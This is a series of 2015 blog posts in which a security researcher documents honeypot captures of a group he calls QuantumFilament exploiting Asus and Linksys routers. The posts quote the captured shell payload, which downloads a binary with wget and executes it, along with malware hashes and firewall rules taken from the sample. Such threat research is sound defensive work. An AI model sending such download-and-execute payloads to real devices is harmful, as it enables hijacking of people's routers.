Month: August 2015

In a three week period starting in mid-June, my honeypot was exploited 27 times by 25 different IP addresses. It is now known that routers compromised by the QF group are directed to scan and try to exploit additional routers. The 25 IP addresses in this set were not forged or spoofed, because a TCP connection was required to download the next program via wget. Out of the 25 routers that spread the infection during these three weeks, 11 routers were located in the U.S.; three routers were located in Malaysia; two routers were located in Israel; and one router each was located in Australia, Belgium, Bulgaria, India (at a police agency), Macao, Russia, Ukraine and Vietnam.

In each case, the attacking router would first try to exploit a Linksys vulnerability, CVE-2013-5122. When that didn’t work, the same IP address would send the poison packet to UDP port 9999 a few minutes later, a poisoned packet targeting a vulnerability in Asus routers, CVE-2014-9583. The embedded shellscript in the poisoned UDP packet always had the same structure:

sh -c "cd /tmp ; rm -f .nttpd ; wget -O .nttpd http:// [ip] :[port] ; chmod +x .nttpd ; ./.nttpd"

Strangely, most of the time the TCP port designated for the download was port 3344, however 20% of the time the TCP port designated for the download was port 3384.

The first few times I observed a wget command, I attempted to retrieve the file, however the download failed. I concluded that my honeypot had to initiate the download immediately after receiving the poisoned packet.

This was the very first time I retrieved the file. This file was the program the QF group directed the victim to start running. I ran some basic tests on the file to get its hashes and file type.

Test	Value
MD5	7ca9f378ca7650d79b478595df2d2681
SHA-1	3541cbece0c80efc172b94cd80f67c94d1122d87
file	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped

This file was an executable binary program, intended for the MIPS microarchitecture. So I knew for certain the QF group was targeting, and had programs to run on, embedded devices like routers. The file is databased by VirusTotal and had a detection rate of 2/56 in July. In addition, there is a detailed automated report here.

I am not a malware analyst, but I looked at the ASCII plain text strings in the binary program, and the following strings stood out:

1. INPUT -p udp --dport %u -j ACCEPT
2. INPUT -p udp --dport 9999 -j DROP
3. INPUT -p tcp -m multiport --dport 80,8080 -j DROP
4. INPUT -s 109.206.177.16 -j ACCEPT
5. INPUT -s 50.77.24.41 -j ACCEPT
6. INPUT -s 109.206.186.250 -j ACCEPT
7. INPUT -s 91.217.90.49 -j ACCEPT
8. INPUT -s 91.217.90.19 -j ACCEPT

The above strings were fragments of iptables firewall rules. iptables is the firewall used on modern Linux operating systems, including embedded systems.

#	Rule	Explanation
1	INPUT -p udp --dport %u -j ACCEPT	Allowed any traffic destined for one specific UDP port
2	INPUT -p udp --dport 9999 -j DROP	Rejected any traffic trying to send data to the vulnerable Asus infosvr service
3	INPUT -p tcp -m multiport --dport 80,8080 -j DROP	Rejected any traffic trying to use the router’s web management interface
4	INPUT -s 109.206.177.16 -j ACCEPT	Allowed any traffic through the firewall from these five IP addresses
5	INPUT -s 50.77.24.41 -j ACCEPT
6	INPUT -s 109.206.186.250 -j ACCEPT
7	INPUT -s 91.217.90.49 -j ACCEPT
8	INPUT -s 91.217.90.19 -j ACCEPT

It appeared that, if this program was run on a victim router, it would create firewall rules that would block the same ports that QF used to break in originally. Meaning, the QF cyber operators were selfish, once a vulnerable router was found and compromised, QF did not want to share this new resource with anyone else. Also, the firewall rules allowed traffic from five IP addresses. This suggested that these addresses were, at one point in time, under control of the QF cyber operators.

I suspected the program had more functionality, but I would need some assistance to find out what else the program could do.

To be continued in chapter 3…

This all started because I was bored and looking for something to do. Really.

One weekend in June I set up a honeypot, simply a Ubuntu Linux system running Apache and running full packet capture with tcpdump. I was expecting to capture Shellshock exploitation against the web server. So one of the first things I did was to look for the string wget, that would indicate a hacker was attempting to break into a computer–my decoy honeypot, and was instructing it to download a larger, more complex program. I found wget all right, but not in the place I expected.

This network packet started everything. A packet to UDP port 9999 with an embedded shell script, instructing the computer to use wget to download a file, and run it. It is not appropriate for one computer on the Internet to tell another computer what to do, sending a command out of nowhere. There is no authentication. So right away, I knew I had something “bad”. But what?

It was clear, from the presence of the chmod, rm and other clues the target of the command was a Unix system. I soon discovered that some Asus routers, like the routers used in homes and small offices, listened on UDP port 9999. These routers often run a version of the Linux operating system. And, there was a vulnerability and an exploit, documented by Friedrich Postelstorfer and Joshua “jduck” Drake. The vulnerability had industry number CVE-2014-9583 and could let an unauthorized person take over an unpatched Asus router.

But there’s more. Minutes before the attempt to exploit an Asus vulnerability, the same IP address attempted to exploit a vulnerability in Cisco/Linksys routers.

So, one IP address attempts to break into another system on the Internet, first using a backdoor into Linksys hardware, then a few minutes later using a backdoor into Asus hardware. Some searching did not find public discussion of this tactic.

At this point I was thrilled and was eager to chase this threat. The instruction in the Asus exploit directed the would-be victim to download another program and run it. I tried to download the program in the same way, but the downloads were never successful. As I continued to capture exploitation attempts from multiple IP addresses around the world, I knew I would have to get smarter.

To be continued in chapter 2…

QuantumFilament is a codename I give to a group of cyber operators (“hackers”) breaking into home and office routers. Monitoring this group since June 2015, my honeypots have recorded what they do and how they do it. This blog will present some of the findings to date. Research is ongoing, and the blog will be updated when appropriate. What routers does QuantumFilament (QF for short) break into, and how? What do they do with their access? How sophisticated are they? Has anything been done about them? Future posts will start to answer these questions, and present the evidence. I also hope this blog will be a platform to discuss the wider arena of network forensics, packet analysis and research.

A little bit about me. I have worked in cyber security for 10 years, after graduating from Georgia Tech. I started in government positions, and I am currently a network intrusion analyst for CrowdStrike. However, the research presented in this blog is independent. In 2012, I earned the GIAC Security Expert certification, one of the more rigorous, rare and time consuming certifications in the cyber field.

I am open to collaboration on this or similar projects. For security considerations, you may use this GPG key to contact me.

This blog is not intended to start a cyber war. Watching hackers–humans–exploit the Internet, its trust and design, to break into innocent people’s devices, and use the devices to do other things, can seem frustrating. But looking from one perspective, blaming hackers for the unsafe and hostile traffic on the Internet (and its consequences) is like blaming the weather during a hurricane, or blaming the HIV virus for what it does. Perhaps one day some creative scientists can control the weather and defeat the HIV virus. Until then, people just need to be prepared, and stay as safe as possible. Similarly, hackers doing bad are out there, and will be doing their thing for the foreseeable future. The hackers doing bad learn, share information in the underground, and look for new ways to gain access, and new ways to get what they want (largely money and information.) The rest of us can’t directly stop the hackers, any more than we can redirect a hurricane. But what we can do is to study them, learn from them, share information about them, with the goal of staying safe. This is what this research project and blog is about.

A couple notes on terminology. The word hacker has two common uses, and I think at this point both uses are equally legitimate. The more common meaning of the word hacker in the media (and even outside the media) is a person that breaks into other computers. An alternative definition is people who study computer systems, to learn about them, including how to break the system. This second group of hackers, however, does not break into innocent people’s systems without permission. The goal is the learning. The satisfaction for this second group is derived from the discovery and the study, the thrill of the hunt and exploration. The QuantumFilament group is undoubtedly in the first group of hackers, breaking into unsuspecting people’s devices and stealing the resources. I consider myself in the second group. I saw what was going on, and dedicated myself to learning, researching, studying the first group. And finally, the term QuantumFilament (QF) refers to both the group doing the breaking-and-entering, as well as the research project to study them. The meaning should be clear from context.

So, over the next days, get ready for a story.